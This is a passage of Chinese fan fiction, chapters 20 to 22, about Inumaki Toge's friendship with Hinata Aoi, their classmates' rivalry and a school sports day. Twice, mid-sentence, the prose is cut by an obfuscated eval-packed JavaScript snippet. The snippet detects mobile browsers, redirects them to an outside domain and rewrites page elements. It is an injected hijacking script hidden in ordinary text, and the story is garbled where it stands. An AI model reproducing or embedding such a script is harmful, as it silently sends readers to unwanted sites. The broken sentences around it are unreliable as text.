结果一时不察狗卷都到了能跟日向葵互打手语的亲密程度,她看见了不能说是大为震惊……只能说是惊怒交加! 是想揪着狗卷棘的衣领摇晃他问他到底是怎么样办到的程度。 她的地位终究是被转学生威胁到了。 六年级了不在原学校安安分分读完书等待升学,难不成是命运安排特地来找她植野直花不痛快的吗?! 事实上植野直花自己都不清楚自己对于日向葵的占有欲有多强。 别人可以跟日向葵交朋友,但必须通过她。 别人可以不通过她跟日向葵交朋友,但必须不如她。 连班长川井未希都是被她压下一头,通过她牵线才跟日向葵熟悉起来的。 想跟日向葵做朋友的大有人在,却又全都被日向葵自己利落地挡在门外,这导致她的人际关系干净极了,让植野直花有一种可以独占珍宝的错觉。 先不论日向葵本身怎么样,物以稀为贵。 就像是摆在橱窗里非售卖只展示的洋娃娃,很多人蜂蛹在橱窗前,而植野直花抢到了第一排,并且是洋娃娃的正对面,没有比这个更好的位置了。 虽然他们所有人都得不到洋娃娃,但植野是最靠近的那一个,这是她区别于他人的能够炫耀的资本。 结果有一天一个人打破了规矩,进到店铺里去看洋娃娃,甚至还上手去抚摸,当着所有围观者的面理直气壮地摸,一边摸一边还幸福地傻笑。 请问经过谁的允许了?经过她植野直花的同意了吗?! 她早就把洋娃娃当成了自己的所有物,只因她在最近的位置上待的足够久了,久到她自己产生了占据的幻觉。 植野直花凭脸皮厚跟日向葵当的朋友,而狗卷棘凭的什么? ——也是脸皮厚。 某种意义上狗卷棘的脸皮要更厚一些,还有所谓来自老天爷的幸运加持,使得植野直花飞速坠入破防的状态。 她不痛快,那就也要找找别人的不痛快。 植野抬手理了理头发保持精致,一个华丽旋转起身,径直走到狗卷身边,把日向葵的椅子放下来,心安理得地坐了上去。 “怎么了,一副愁眉苦脸的样子?”装作知心大姐姐的样子,植野用熟稔的语气开口。 狗卷棘:“……” 刚刚只是愁,现在有点苦了。 看着植野就这么自然地坐在日向葵的座位上,他莫名的心里有些别扭。 「没什么,就是有点事情想问一下。」 “问什么?问谁?小葵吗?”植野刻意突出自己对于日向葵的亲昵称呼。 “什么问题可以说说看,我可能会知道答案哦~” 狗卷:“……” 他觉得植野嘚瑟得有些刺眼了,但还是认真回复:「不是她,是前排的高田同学和小野同学。」 “啊……她们?” 植野有些诧异地直起侧靠在桌沿的身子,翘着二郎腿悬空的脚都不晃悠了。 据她所知,这两个人不是狗卷棘的“小迷妹”吗? 路过的时候总能隐约听见二人凑在一起小声讨论狗卷的颜值与言行。 尤其是高田,卯足了劲儿学手语,大概率是为了能跟狗卷做到无障碍沟通,可惜脑子不太灵光,学得很慢,倒也借着学手语跟狗卷搭过几句话。 有什么事是这么着急需要跟她们聊的? 植野直花提起了兴趣,用言语轰炸狗卷棘给自己写下点儿内幕。 “……诶呀说说呗,说不定我知道点什么呢?” 不,你不知道。 狗卷棘都被她吵出了死鱼眼,想着凭植野的性格如果真知道点什么早就大胆开猜了,不会在这里磨叽他写出内情。 “不会跟小葵有关吧?” 看到狗卷飘忽了一瞬的视线,植野得到了肯定的答案。 “什么嘛……”植野瘪嘴。 搞来搞去还是跟日向葵有关系。 狗卷棘难不成是什么日向葵脑袋吗?多想点游戏番剧之类的不好吗?! 她也不去撬狗卷棘的手了,用食指摁住太阳穴努力思考到底是什么事能将日向葵、狗卷、高田和小野这四个人联系到一起。 思来想去 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如果不是要靠着跟踪狗卷去找西宫还钱,他也懒得提醒这个傻小子。 一天天的心思都在女生身上,真给他们男生丢脸! “到底是怎么了?说说。” 石田大哥大的气质尽显,引得狗卷粗略地描述了一下事情的经过。 逐音看过笔记本,石田手一摊:“就这?” “她不是不生气了吗?” 狗卷:…… 「不生气就可以了吗?」 “那不然呢?”石田不明白狗卷到底在纠结些什么。 又不是像成年人那样谈恋爱,搞得那么复杂干什么。 他双手环胸,正色道: “日向生气或是不生气都有她的道理。她现在就是不生气了,你又去追根究底地想知道为什么,有什么用呢?” “你是想跟日向交朋友的吧?没发现自己做的太过了吗?” 石田看着茫然的狗卷忍不住多嘴两句: “我跟日向这么多年的同学没见过她躲着谁。” “她就是喜欢独处,你非得靠她那么近做什么?老老实实地待在边上你自然而然就是她的朋友了啊。” 说得很有气势,好像很有道理,但是不对劲。 狗卷棘的思路一下被石田带走了,但潜意识告诉他这是不正确的,不适用于他的。 跟日向葵交朋友根本不是什么简单的事情,不是随随便便就能达成的。 「那石田君你跟日向是朋友吗?」 “……当然了!” 突然被这么问石田将也还迟疑了一下。 但转念一想他之前干出那么混蛋的事情,日向那么生气最后还是保全了他的面子,怎么能不算是朋友呢? 瞬间底气十足! 狗卷棘看到了石田将也的确信,也没能说服自己去赞同他的观点。 他们对朋友的定义应该是不一样的。 石田口中的朋友太宽泛了,一大部分在狗卷心里只算的上是普通同学而已。 他要跟日向葵有更亲近的关系……最好是能够达到无话不谈的程度。 也多亏了石田的开导,狗卷棘发现自己本末倒置了,这一趴生气不生气的早就在日向葵那里翻篇了,只有他还在原地打转。 现在如果非要去道歉反而过度隆重,会引起日向葵的防备,是一种不明智的逾越举动。 他借助纸笔重新梳理自己的目标。 不被无视get 手语交流get 下一点是达到正常好友的沟通频率。 狗卷合上笔记本压到书桌里教科书的最下面一层。 慢慢来,他要能真正使用自己的声带跟日向葵说话。 一定! 20. 新生篇 晨间的星座占卜已经是狗卷棘早餐必看的下饭节目了。 就差跟绿色头发手缠绷带酷爱投三分球的某位一样,把幸运物天天带在身上。 最近天秤座的运势很不错,每次跟日向葵打招呼的时候狗卷棘都坚信今天肯定会比昨天要过得更好。 他们之间的关系日趋稳定,互动变得多且顺畅。 日向葵甚至会在狗卷棘表露出苦恼的时候主动给他解析难题。 也没有很难,也不是偏科,就是狗卷棘的基础一半正常一半薄弱,薄弱的那一半连地基都偷工减料的。 但是狗卷又很积极好学,对于做题步骤抠的很仔细,每遇到解决不了的关窍都会来寻求日向葵的帮助。 日向葵只能怀疑之前教导他的老师是个散装的关系户,根本不懂得如何授课,才造成如此上进的苗子被埋没。 实际上狗卷棘也没想到自己能如此热爱学习,每次看日向葵的讲解身边幸福的粉红泡泡止不住地外溢。 两人在训练营里也越发合拍,狗卷会帮忙纠正日向葵一些动作的细节,给她演示自己在实战中领悟到的技巧。 日向葵也看狗卷棘的口罩碍眼很久了。 狗卷爸爸也不知道跟教练说了些什么,使得教练允许狗卷戴着口罩运动。 但是大幅度的激烈的动作更需要氧气充盈自己的肺部,口罩在这个时候就是阻碍,甚至会产生危害。 这世界上没有那么多观众,即使有几个也没关系,正常人只会为自己身上的特点真情实感地遗憾或是骄傲,对于别人身上的做不到真正的感同身受,只是成为一时聊天的话题罢了。 而且狗卷两侧脸颊的印记有点太有特色了,像是专门画上去的,就算有人看到了传播出去估计也会被当成眼花了或者吹牛皮。 总之没必要为了这件事做过度的防护,就算宣传到人尽皆知又能如何呢? ……指不定狗卷棘能收获一个胎记仙人的称号,照片得以永久保存活跃在社交账号上。 所以日向葵向狗卷建议穿一件高领的衣服大概遮一下就行了。 没遮住就算了,遮住了就算它厉害。 日复一日,二人越发融洽,狗卷棘慢慢渗透到日向葵生活的各个方面,连日向葵专享午餐的秘密基地都跟上去过几回。 好在狗卷很安静,即使是被入侵到了比较私密的空间,日向葵也没有过多的反感。 除了排球。 自从上一次不小心把球传给狗卷后日向葵谨慎了许多,再也没让这种情况出现过第二次。 跟去体育馆的狗卷从在对面站着等球,到靠墙坐着看日向葵打球。 后面因为训练营的课排的太满,还是先离开学校去训练了。 …… 不知不觉又是一个多月,10月份的校运动会如期而至。 一如往年,校运动会会持续两天。 第一天是以班级为单位的基础项目比拼,例如跑步、跳远、跳高,第二天是以团体为单位的合作战,分为骑马战、投球赛和借物跑三个项目。 为了照顾每位同学的参与感,每个班级里的每个人最多只能报名两场比赛(基础项目与团体项目不进行叠加),其余没有参加项目的同学们组成班级啦啦队为选手们加油助威。 所幸日向葵的班级最不缺体育好的人……但是缺力气大的人。 所以日向葵报名的班级赛的两个项目是4*400米接力和投掷实心球。 是速度与力量的结合,日向葵基本每年固定这两个项目。 顺带一提狗卷棘报名了跳远和跨越式跳高,补足了他们班级男生的两项短板。 这一次的班级赛是可以预料到的所向披靡,狗卷甚至打破了这两个项目的学校最高纪录,收获了大量男男女女的崇拜。 第一次被这么多人簇拥狗卷很不自然,僵硬的手都不知道该往哪里放,但心中升腾的是满足和快乐。 咒术学校里可没有人会为此欢呼,只有无尽的较量,有的人发现比不过还会用言语施压,与此时此刻的氛围全然不同。 开心过后他也没忘了去旁观日向葵的比赛。 虽然没有办法做到大喊加油,但是从啦啦队里要来了两个彩球高举手臂挥舞,没一会儿就把啦啦队利用体育课时间排练了一个星期的助威舞蹈给学会了。 啦啦队没有准备特殊的服饰,学生们统一穿的运动服。 可是狗卷棘的发色太明显了,银白色在阳光底下泛着光跃动,干净利落动作到位都跳出了领舞的气势,日向葵想不发现这个显眼包都难。 她默默掏出手机拍了两张照片,意识到自己在干什么之后又暗道「糟糕」,立刻删除了。 差点就被蛊惑了。 * 来到了第二天的团体比赛,每个年级组都有6个班级,抽签决定两两组队,分成红黄蓝三个阵营。 在班级赛的时候就已经剑拔弩张的班主任们,嘴里说着“友谊第一,比赛第二”,却又都拉着自己的队友认真商量战术去了。 没有抽到跟女儿在的班级一队,日向女士迈着傲娇的步伐特意在日向葵面前晃悠了一圈,斜眼一瞟,甩着秀发扬长而去。 竞技场上无母女! 日向葵看都没看见,被植野直花拍了拍肩膀、指了指日向女士的背影,才了然地笑了。 真幼稚啊……那也不要怪她手下不留情~ 一旁的植野提示完后没去关注日向葵的反应,反而偷偷侧过头瞥了一眼想提示但被抢先的狗卷棘。 他不顺心她就顺心了。植野隐秘地嘚瑟了一下。 让你刷存在感,失去的我要一点点夺回来! 日向葵报名了团体赛中的骑马战和投球赛。 其中骑马战每个团体要出8组,一组两人,一人当马背着另一人冲锋陷阵,只要把对立方头上系着的发带扯下,或是把人全都推下“马”,就能取得最终的胜利。 三个团体一共24组的大混战,像日向葵这样身姿灵巧的人当然要选择当马了。 当人也不是不能当,这个游戏对于“马背”上人的考验主要是柔韧度与技巧性。 但是人很大程度上会受到“马”的限制,座下如果是不够灵活的“马”,那就很容易会被别人围攻。 而日向葵又是很容易被针对的体质——被她妈妈授意下的学生针对。 尤其是日向女士刚刚在她面前展示了一下自己的存在……日向葵肯定自己绝对会被重点关注的。 这就是母女之间的心有灵犀。 所以她来当马,不需要背上的人多有技巧,只要足够轻就可以了。 她只要保持续航,躲开所有的敌人苟到最后,她就是赢家! 一切都如日向葵所料,游戏刚开始就有队伍想来包围她了。 她带着背上的女孩敏捷地闪躲,加速在人群中穿梭,一时谁也追不上她们,只有耳边女孩的惊呼在给她完美的突围伴奏。 追赶了一段时间那几个队伍就扛不住了,只能改换目标出击。 熬到最后,日向葵所属的红方还有蓝方都剩下两个队伍,黄方还剩一队。 黄方剩下的独苗完全没有结盟的想法,打算殊死一搏,已经跟红方的另一个队伍掐起来了。 两个蓝方的队伍正喘着粗气虎视眈眈地看着日向葵她们。 有点太会鼓舞人心了吧,日向女士~ 日向葵在心里吐槽,疲惫地吐出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380293|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口热气。 蓝方也算是巨大的优势了。 隔壁正斗得酣畅的是不相干的队伍,现在他们可以合力剿灭落单的日向葵她们。 日向葵努力思考着对策,突然感觉肩膀上的布料一阵收缩——她背上的女孩在胆怯惊慌下把她的衣服抓紧抓皱了。 她没有回头安抚,也没能力说出什么安慰人的话,只是把女孩往一颠,背得更稳固,歪了歪脖子示意女孩抱紧。 接下来她也该像黄方一样“赌命”了。 日向葵双腿前后分列叉开,脚掌蹬地,眼睛微眯透出凌厉,金灿灿的释放出关押在心底的野性,像一只凶悍的猛虎盯紧了自己的猎物。 现在不是两队围攻一队,而是日向葵一个人包围了对面所有人。 与其中一组的“马”对视几秒,日向葵如离弦的箭一般飞射而出,直冲他的面门。 观赛的学生和老师都不由得发出惊呼,在一旁候着的安全员立刻吹响尖锐的哨鸣警告。 日向野子也在担忧着孩子们会不会受伤,但心中明白她的女儿不会做没有把握的事情,甚至那短暂的时间已经足够她想清楚所有的可能性与应对的举措。 冲刺前的架势是在说“我很厉害,你们小心点!”。 只与那一人的对视是在说“打的就是你,准备好了吗?”。 心理压力给足了对面,然后全力出击,使得对面不敢应战,在躲避下让出路来,得以让她与自己的队友汇合。 退一万步讲,就算对面没反应过来闪开,日向葵也能凭借自己锻炼多年的身体快速刹车回撤,寻找其他方法突围。 果不其然,原本占据优势的蓝方一下子被打乱了阵脚,慌乱中给日向葵让出一条道路。 来自安全员的哨鸣也误打误撞成了帮助日向葵唬人的助力。 日向葵一鼓作气跑到正在跟黄方对打的队友身边。 她背上的女孩也生出勇气,咬着牙伸手一击即中,趁着无人注意拽下了黄方的发带。 这惊险刺激的丝滑连招引爆了整个场地,整个红方沸腾起来,爆发出强烈的欢呼声。 甚至有蓝方和黄方的同学也被惊艳到了,跟着一起欢呼,然后反应过来是自己的团队失了利,又立刻合上了嘴巴。 接下来的2v2对日向葵她们来说更没有什么难度了。 她总能在感知到危险时迅速撤离,给队友调整的时间重新进攻。 不出意外,红方拿下了这场比赛的胜利。 第二场投球赛的比分也打得非常焦灼。 日向葵凭借多年打排球的手感和傲人的身高稳稳拿分,可惜最后以两球之差输给了黄方。 终于来到了此次运动会的最后一场比赛——借物跑。总积分的排名将在这场比赛结束后水落石出。 各方的参赛人员都摩拳擦掌,打算铆足了劲儿去最后拼一把,特别是没落后多少的班级,更是认真对待这最后翻盘的希望。 日向葵倒是放松极了。 所有她报名的项目均已结束,现在就是尽人事听天命,身上毫无压力。 她刚刚也才用其他同学统计的信息算出了各个班级相差的分值,并且着重看了一眼日向女士的班级——就算拿下借物跑的第一,也无超越日向葵班级的可能。 可以提前计划一下该怎么安慰悲伤的母亲了。 日向葵放下笔,把列好的演算结果递给眼巴巴等着的同学们传阅。 之前是不到最后胜负犹未可知,但今年有了狗卷这个新助力,双方的分值差的更多,不是一场比赛就能简单翻身的了。 日向葵拿着废弃的演算纸游神,不自觉看了写有狗卷棘的那一行很久,连正主走到身边都没有发现。 21. 新生篇 特地过来的软毛白刺猬没有发现女孩在盯着自己的名字走神。 他打出手语邀请日向葵站在班级的最前排观看他的比赛。 日向葵不动声色地把手中的纸捏成一团,大脑在自动分析狗卷棘让她坐在首排的意图。 如果是其他比赛被邀请日向葵不会去多想,只当这孩子是想在她面前展现能力讨夸奖。 但是“借物跑”这个比赛……恐怕自己是要被“借跑”了吧? 她直接了当:「我有点跑不动了。」 狗卷棘的眼睛当即流露出被看穿的扭捏和被拒绝的遗憾。 摊开手要过来女孩手里的纸团帮忙丢进垃圾桶里,然后他就停滞住了,一个人站在垃圾桶旁边纠结了好久。 他还是不想放弃得来不易的机会。 这两天的运动会他跟日向葵可以说是毫无交集。骑马战原本是他看上的时机,但日向葵有自己的想法,先一步跟班级里一个矮小瘦弱的女生抱了团。 只好尊重祝福,狗卷棘脱离比赛加入观众席。 之后的时间他都在研究“借物跑”的规则。 每个团体出10个人按照指定路线赛跑到指定地点,领取纸条按标准“借物”并携带“物品”跑到下一指定地点,以此类推,一共有6个地点发放纸条,最终参赛者要和最后一个“物品”冲线,裁判停止计时。 10个人所用的时间取平均值计为团体成绩,进行排名公布积分。 某位被狗卷棘问过的同学怕他太实在了,真的去找符合条件的物品,特意提点他“借物”其实主要借的不是物,是人。 学校设立这个项目也有促进同学间友谊的目的在里面。 狗卷棘脑袋上竖起一根隐形的天线,跟设立这个项目的校领导对上了脑电波。 这也太适合他跟日向葵了叭~ 但是日向已经累了……可是今天……他还是想任性一下! 「走路可不可以?」或者是背着跑。 狗卷棘没敢打出后半句,忐忑地等待女孩的答复。 看着任性但没完全任性的男孩用狗狗眼对她发动电波攻击……日向葵还是点头同意了。 当着全校师生的面被“借”做“物品”参赛其实就是在大庭广众之下秀友谊。这种青春的桥段她有些接受无能。 但都已经这么求她了,就陪他跑一段吧……为了班级的积分跑一段,别把孩子冷落到消极比赛了。 实则她自己明白,以狗卷的责任心不会做出因为自身原因消极对待比赛的行为。 而旁边的植野直花正鼓着脸生闷气。 她都没打算提前问,想游戏开始后只要能拿到合适的纸条就直接拉着日向葵跑来着,结果被狗卷棘抢先进行了预订。 看到狗卷满怀期待却被拒绝的时候她由悲转喜,还专门找狗卷问了日向葵拒绝他的原因。 说着“确实,两个游戏参加下来很累的,也不好去打扰小葵吧~”在狗卷的心脏上落井下石,暗指他不够贴心。 已经说出口这句话了,她自然也不会再去找日向葵“借物”……怎么一时没看住,狗卷棘就征得日向葵的同意了呢? 他的脸皮怎么这么厚啊! 不等植野直花平复好心情,游戏即将开始了。 30位同学分成好几排挤在起点的地方,只等一声发令枪响便会如同蝗虫过境一般飞速向第一个任务点进发。 狗卷棘没去争抢第一排的位置,还沉浸在被同意的喜悦当中。 在裁判的口令下他隔着口罩拍了拍脸颊回神,在大脑里面规划该怎么开辟出一条道路冲到第一。 “准备好了吗?” “3——2——1——” “嘭!” 同学们弹射起步,都朝着一个方向冲刺,在空中看反而像是整齐行进的队伍。 没整齐太长时间,过了一个弯道已经有同学拉开差距开始领跑,后面紧跟着的几人像断线的珠子,更多的人还是臃肿在中段的位置。 没有人和人之间的缝隙足够大到能让狗卷棘得以穿梭,他当机立断选择了最长但最干净的道路——外圈强行超越。 在同学们还在拥堵、互相阻碍的时候狗卷棘已经跑到第二梯队了。 到了比较靠前的名次,他放弃了去争第一第二,为后面的轮次保存体力。 抵达指定地点,他不假思索地从纸箱中抽出一张纸条。 眼睛看到的字样还没传递到大脑中枢,脚就已经朝着日向葵的方向移动。 只见纸条上写着——“黑色”。 黑色?日向的头发正好是黑色! 狗卷棘加速跑到日向葵的面前亮着眼睛坦然地伸出手。 周围某些同学,尤其是其他班级正在经历感情启蒙的同学瞪大眼睛,发出了急促的惊呼。 在这个年龄段,某些情感羞耻的同学会特意避开与异性的相处。被调侃的时候还会应激说出些伤人的话语,事后还死要面子,死鸭子嘴硬,不肯去道歉。 像狗卷棘和日向葵这样大大方方展示男生女生之间友谊的也是很少有看到。 有隔壁班的同学想八卦几句,都被本班同学习以为常到麻木的表情又惊了一下。 “这才哪到哪啊?你们是没看到狗卷君之前疯狂倒贴的模样。” 如同老僧入定,说完这句话的那位同学也不再开口了。 他早已讨论疲惫了,就让隔壁班的同学盯着这顿剩菜剩饭眼馋去吧~ 日向葵知道狗卷要来找她,但没想到第一个就来找她。 看到男孩向上张开的手掌也是眉头一跳。 难不成还要手牵手跑吗? ……一切为了班级的荣誉。 以上思绪不过短短一秒,日向葵又一次把自己说服了,抬手抓住狗卷棘的手腕,顺着力道起身反手拽着他奔跑起来。 一时也不知道到底哪位才是真正的参赛选手。 被带着的狗卷棘感动坏了。 日向这么累还这么用力跑……她真的太好了!是个超级大好人! 不知道该用什么言辞赞美别人的男孩,把满腔感触憋在了心里。 植野直花拉着川井未希的手紧随其后,看到这一幕牙都要咬碎了。 真能显摆,还不是被小葵带飞了! 被她紧紧拉着手向前跑的川井未希天赋点都点在学习上,对于体育运动十分苦手,现在跑得也痛苦,被攥着的手也痛苦。 她颤抖着声音问:“小直,你的,纸条上,写的什么?”就非要拉着她这么跑吗? 被好友的声音从争强好胜的漩涡中拉回,植野直花这才想起自己拿到的纸条写的是“眼镜”,不是什么“戴眼镜的小女孩”。 刚才她看前面两个人双宿双飞地跑远,一上头就把川井也拽起来跑了。 植野单手勾住川井鼻梁上连接左右镜框的金属架,向前一带把眼镜收入手中。 “抱歉,眼镜记得去桌子上拿一下!” 被抛下的川井未希前屈膝盖,双手抵在大腿上半弯着身子喘息,没有力气回应植野的话。 反正别让她继续跑就可以了,眼镜什么的在这一刻都无所谓了。 日向葵和狗卷棘抵达了下一个抽取纸条的站点。 眼见狗卷把手伸进装满纸条的箱子内,日向葵打算功成身退了。 没走两步就被拽住了衣摆。狗卷棘不好意思地举起纸条挡在自己面前。 纸条上写着——“搭子”。 什么搭子? 学习搭子?吃饭搭子?运动搭子? 她日向葵好像全都占了…… 没有规定说“物品”不能重复使用,狗卷棘也算是钻上了规则的漏洞。 原本他想的是尽早跟日向葵一起来一段,走着就可以,流逝的时间他用后面的轮次补回来。 没想到不仅日向葵很给力,纸条也很给力,他是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380294|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的不舍得放日向葵离开。 所有跟她相关的描述,他都想带着她一起完成。 感觉到被骗上贼船的女孩又又一次妥协,和狗卷棘并肩跑到下一个地点。 下一张纸条是——“手机”。 终于是个正经物品了,日向葵立刻从侧兜摸出自己的小灵通上交。 狗卷棘握着带有温度的手机不舍地跑开,也没提到自己的手机也正在裤兜里面待着——他比赛之前忘了拿出来,跑动的时候感觉到腿侧的异样才发现。 日向葵摆摆手送走了狗卷就转身要走回班级的位置,开启第二次退隐之旅。 往回走的时候还看到了拿着一根皮筋奋力奔跑的西宫硝子。 及肩的短发分成两半在脑后脖颈处扎了两个揪揪,两侧的耳朵完整地露出来,耳蜗里空空如也并没有佩戴助听器,大概率是为了防止动作过大脱落丢失。 她身后一直有两位女生快步跟随着,跑一会儿歇一会儿,手里拿着的长条气球像极了应援棒,一直在前后挥舞着。 如此形式主义花里胡哨的东西只有日向女士会去准备了,其他班级都只有学校发的啦啦队彩球。 不得不说,真的好看且别致。 旁边路过的同学都要看几眼,想着自己班级怎么没有这么用心。 日向女士的班级每位参赛的学生都有属于自己的定制款。 当时骑马战的时候应援声也属她们班级喊得最大,也更加激起了日向葵要比过他们取得胜利的叛逆心理。 这两位同学一人一个气球都写着西宫硝子的名字,也不管她听不听得见,该有的“加油”声一句不少。 左侧女生披散的头发还留有发绳捆绑后的痕迹。西宫手上的皮筋应该就是从这里来的。 在自己头上有两个皮筋的情况下还能得到来自同班同学的帮助,看来西宫在日向女士的班级里过得不错。 不枉她把西宫硝子之前的校园经历掰开了揉碎了,洋洋洒洒写了篇千字作文交给日向女士参考规避。 日向葵收回视线慢悠悠地散步回班级,刚刚坐下就见到一团银白色由远及近,又过来了。 「怎么了?」 她摸不着头脑地接过狗卷棘递回的手机。 这不是浪费时间吗?等到游戏结束后再还她不就可以了吗? 结果狗卷棘微晃了一下身子,把另一个手心里揉搓成好几折的纸条慢腾腾地展开到日向葵眼前。 纸条上写的是——“不好相处的人”。 日向葵:…… 真的是地狱级别的得罪人。 想一想倒也很合理,一开始她的确有在躲着狗卷棘,对他所有的示好视而不见,算得上极度不好相处了。 并且要是让狗卷棘拿着这张纸条去找别人,一时也没有合适的目标。他说不出理由的嘴还容易搞坏同学关系。 日向葵眯眼:…… 「第四张吗?」 「第五个了。」 聊到这个狗卷棘还有点歉意。 当时他第四张纸条抽出的是“玩偶”,真的是难为到他了,瞬间丢失了前进的方向。 灵机一动,他想着翻一下手机里面会不会有玩偶的照片。 他的手机是妈妈淘汰下的,说不定在相册里还留着些未清除的痕迹。 结果他一顺手把日向葵的手机翻开了,入眼的壁纸就是一个海绵宝宝的玩偶挂坠。 得来全不费工夫,在工作人员的无语中,狗卷就这样完成了第四个任务。 日向葵也没去问他第四个任务是怎么完成的,有这个打手语的时间他们第五个任务也做完了。 她又双叒把自己说服了,跟着狗卷打卡完成了第五个任务。 这次她也不想着离开,就站在原地等着狗卷棘抽出第六张纸条。 ——“容易害羞的人”。 日向葵安心了。 这怎么说都说不到她头上了吧? 22. 新生篇 ……容易害羞的人? 这能是谁啊? 这题的难度不亚于“玩偶”,但是这次站在纸盒面前的不单只他一人了。他不用再独自绞尽脑汁冥思苦想,可以心安理得地借用另一个大脑帮自己思考。 狗卷的视线一转过来,日向葵就知道这张纸条虽说字面上与她无关,但不是完全无关。 这次运动会可以说是她参与度最高的了,三场团体赛一场不落。 容易害羞的人……其实班级里还是有很多的,比如说之前打她小报告的女孩之一——高田。 高田跟狗卷棘的互动也算挺多的,但是狗卷的心思都放在日向葵身上,其余的时间也都在学习、训练,非必要不会去探究别人的行为逻辑。 高田跟他搭话也只是正常的回复,不去想她的音量为什么小,语调为什么上扬,脸为什么泛红,跟他对视为什么会有躲闪。 以至于到现在他只是对班级里的同学都有印象,但都不太了解。 还没等日向葵敲定到底该找谁,一直关注着狗卷比赛情况的植野直花义无反顾地冲过来。 她眼红狗卷棘很久了,心中暗骂他卑鄙无耻无数遍。 一共6个任务,前两个都拽着日向葵,三和四都举着日向葵的手机完成,到第五个任务了又回头去找了日向葵……怎么这都第六个了还在这里直勾勾地看着小葵? 六张纸条啊,就真的能做到每一张都跟日向葵有关系? 人的运气是能那么好的吗? 她植野直花要不是为了班级积分着想,早就举报狗卷棘作弊了! 这次她抽中的纸条是“金色”,放眼望去只有日向葵最符合这个条件,谁也不能跟她抢! 此刻植野直花内心的愤怒已经不是单单生□□卷更亲近日向葵了。 光是单纯的对上狗卷后哪里都吃瘪,已然足够她积攒出必须要赢过狗卷的强烈欲望。 她插到狗卷棘和日向葵的中间就开始理论。 “狗卷君你拉着小葵跑过很多次了吧?这次是要借什么?” “怎么还不去借物呢?小葵我就带走了~” 三只手指食指在前,拇指和中指在后,撑开那张写有“金色”的纸条在狗卷面前炫耀地展示。 该让步了,小子。 要不是她是个体面人,现在中指已经竖起来了。 狗卷棘不想让,就是只针对植野的不想让。 他就算再不去思考别人的行为逻辑,三番五次的,他也觉察出植野直花跟他不对付了。 如果是其他原因狗卷不介意让步,但是跟日向葵有关的话,他就必须要争上一争! 可是植野是同一个班级的,阻碍她又会影响班级积分……狗卷棘陷入了两难的境地。 已经有人帮他做出选择了。 他各种意义上的老师——西宫硝子悄悄拽住日向葵的衣袖,拉着人走出了好几步。 日向葵没有施力对抗西宫的动作,疑惑中带着点笑意随着她走了几步。 这一位也是来“借”她的? 借物借到对手的头上也是有点好笑了。 西宫硝子小脑袋里可没想什么对手不对手的事情,她做出这一行为需要克服的只有自己的胆量。 她的纸条上写的“星体”,像是地球、月球、水星、火星。 她可以跑回教室里把地球仪搬出来,但又何必舍近求远呢? 除了日向葵她再想不出更合适的答案。 日向葵金色的眼眸像太阳,沉静的性格像月亮,帮助她脱离窒息的人际环境开启崭新的校园生活,又是像星星一样实现她的愿望。 可她不敢去找日向葵,她们还不是朋友啊…… 正在她犹豫着要往教室跑的时候,植野和狗卷对上了,日向葵被“闲置”在一边。 是个偷人的好时机,西宫硝子狠狠心动了。 她也羡慕了自己的徒弟很久,一直在帮他出谋划策也掺杂着某种替身文学,想着他跟日向葵交上朋友就相当于是自己跟日向葵做朋友了。 但是真的这样达成又会不甘心……凭什么他就可以我就不行?! 在这一刻她的肾上腺素悄无声息地飙升,推动她上手拉住日向葵偷跑。 第一步迈出去剩下的就简单了。她看着日向葵没有表示拒绝,便撒开衣袖直接握住日向葵的手臂,用力把她往下一个任务地点带。 不是最后一张纸条啊~ 日向葵看了眼西宫前进的方向,心中了然,打了好几下响指吸引还在对峙的两人的注意。 狗卷先一步发觉看了过来,日向葵比出“6”的手势晃了晃,指了指植野的方向。 后看过来的植野直花一脸茫然,在狗卷重复日向葵动作的时候才反应过来:“是第六个任务啊,怎么了?” 不会是在小瞧她觉得她不能这么快吧? 开玩笑,为了赢过狗卷棘她也是拼了命在跑好吗! 狗卷得到答案后对着日向葵高高竖起大拇指,日向葵也半转身回了一个“OK”。 “……你们干什么呢?” 狗卷棘掏出自己的手机打出一行字:「跟我走。」 “什么啊神神秘秘的,我们可是在比赛,不要浪费时间哎!” 这么说着的植野直花也是听话地跟着狗卷棘走了。 她可不是听狗卷的话,只是看刚才的动作,这一切应该是日向葵的安排才跟上的。 ……可恶,他们怎么能那么默契,她也要学手语! 另一边日向葵被西宫拽着将要跑到任务点了。 一直跟在西宫身后加油的女生停下了自己手中的应援气球。 她的同伴在帮西宫硝子回教室搬地球仪,只剩她远远跟着西宫,看着这一幕的发生。 莫名感觉有点不太对劲…… 但她也不可能上前去制止,是西宫主动选的“物品”,并且那一位还是自家班主任的女儿。 能发生什么呢?日向同学肯定是好心来的~——女生自己安慰自己。 跑到任务点,裁判看着纸条发出质疑:“哪里有星体了?” 日向葵毫不怯场地指了指自己的眼睛。 “……好吧。”这群学生真爱玩抽象。 完成任务,日向葵示意西宫赶紧抽下一张纸条。 西宫心里膨胀的愉悦还没消散,呆愣愣地伸手——“水杯”。 这应该是西宫硝子的第五个任务。 日向葵收回视线,不待西宫回神,直接竖着一手拖大腿一手扶背把西宫抱起来往终点跑去。 裁判在一边都看懵了,抻着脖子用眼神追日向葵的身影,看看她到底要干什么。 狗卷棘已经带着植野直花在终点线面前准备好了。 